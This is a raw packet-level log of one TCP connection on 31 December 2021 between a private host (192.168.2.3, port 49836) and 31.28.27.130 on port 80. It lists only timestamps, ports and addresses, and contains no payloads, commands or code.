Dec 31, 2021 19:13:22.851807117 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900573015 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900599003 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900610924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900623083 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900635958 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900649071 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900665045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900676966 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900688887 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900707006 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900718927 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900731087 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900748014 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900764942 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900782108 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900779963 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900799036 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900815010 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900818110 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900824070 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900829077 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900831938 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900834084 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900860071 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900876999 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900892973 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900899887 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900912046 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900923967 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900928020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900942087 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900958061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900959969 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.900975943 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900995016 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.900999069 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901011944 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901027918 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901045084 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901060104 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901062965 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901076078 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901093960 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901093960 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901112080 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901129007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901140928 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901146889 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901163101 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901163101 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901180983 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901196957 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901201010 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901212931 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901216984 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901228905 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901242018 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901258945 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901262999 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901274920 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901292086 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901294947 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901309013 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901324034 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901326895 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901344061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901360035 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901361942 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901376963 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901392937 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901395082 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901412964 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901429892 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901446104 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901462078 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901463032 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901479959 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901496887 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901499987 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901509047 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901526928 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901532888 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901544094 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901545048 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901570082 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901586056 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901602983 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901606083 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901621103 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901638031 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901638985 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901654959 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901670933 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901671886 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901684999 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901698112 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901705027 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901710033 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901722908 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901735067 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901747942 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901752949 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901771069 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901781082 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901787996 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901793003 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901804924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901813984 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901822090 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901838064 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901854992 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901858091 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901870966 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901887894 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901889086 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901906013 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901918888 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901923895 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901942015 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901957035 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.901957989 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901977062 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901994944 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.901995897 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902012110 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902026892 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902029037 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902045965 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902062893 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902066946 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902079105 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902095079 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902096033 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902112007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902127981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902129889 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902144909 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902162075 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902168036 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902178049 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902194023 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902194977 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902210951 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902228117 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902228117 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902240992 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902257919 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902270079 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902275085 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902292013 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902302027 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902307987 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902323961 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902324915 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902339935 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902355909 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902370930 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902371883 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902388096 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902390003 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902405977 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902422905 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902426004 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902440071 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902455091 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902457952 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902475119 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902491093 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902496099 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902503967 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902520895 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902532101 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.902538061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.902553082 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.906044006 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.917398930 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951332092 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951387882 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951425076 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951463938 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951504946 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951541901 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951581955 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951585054 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951620102 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951628923 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951636076 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951658010 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951695919 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951711893 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951734066 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951735020 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951771975 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951811075 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951847076 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951859951 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951884985 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951885939 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951924086 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951961040 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.951972961 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.951999903 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952039957 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952080011 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952119112 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952132940 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952156067 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952195883 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952234983 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952270985 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952282906 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952308893 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952347994 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952387094 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952399969 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952425957 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952464104 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952502012 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952507973 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952541113 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952578068 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952584028 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952616930 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952653885 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952692032 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952697039 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952732086 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952769995 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952778101 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952809095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952855110 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.952872038 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952924013 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.952960014 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953000069 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953013897 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953039885 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953078985 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953119040 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953125954 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953157902 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953197002 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953236103 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953243971 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953273058 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953313112 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953318119 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953351021 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953389883 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953435898 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953444004 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953473091 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953511953 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953517914 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953552008 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953588963 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953597069 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953628063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953668118 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953670979 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953706980 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953747034 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953783989 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953795910 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953823090 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953862906 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953898907 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953912020 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.953938007 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953975916 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.953982115 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954016924 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954056978 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954094887 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954103947 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954135895 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954178095 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954231977 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954232931 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954287052 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954349041 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954359055 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954401970 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954463959 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954499006 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954519033 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954587936 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954592943 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954627991 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954668045 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954700947 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954705000 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954715014 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954745054 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954782963 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954790115 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954821110 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954860926 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954898119 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954931974 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954936981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.954968929 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.954974890 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955014944 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955049992 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955066919 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955066919 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955107927 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955146074 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955184937 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955198050 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955223083 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955260992 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955298901 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955306053 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955337048 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955375910 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955415964 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955423117 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955452919 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955492020 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955530882 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955538988 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955566883 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955617905 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955631971 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955657959 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955693960 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955707073 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955733061 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955805063 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955820084 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955843925 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955881119 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955894947 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955919981 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955960035 CET	80	49836	31.28.27.130	192.168.2.3
Dec 31, 2021 19:13:22.955974102 CET	49836	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:13:22.955996990 CET	80	49836	31.28.27.130	192.168.2.3
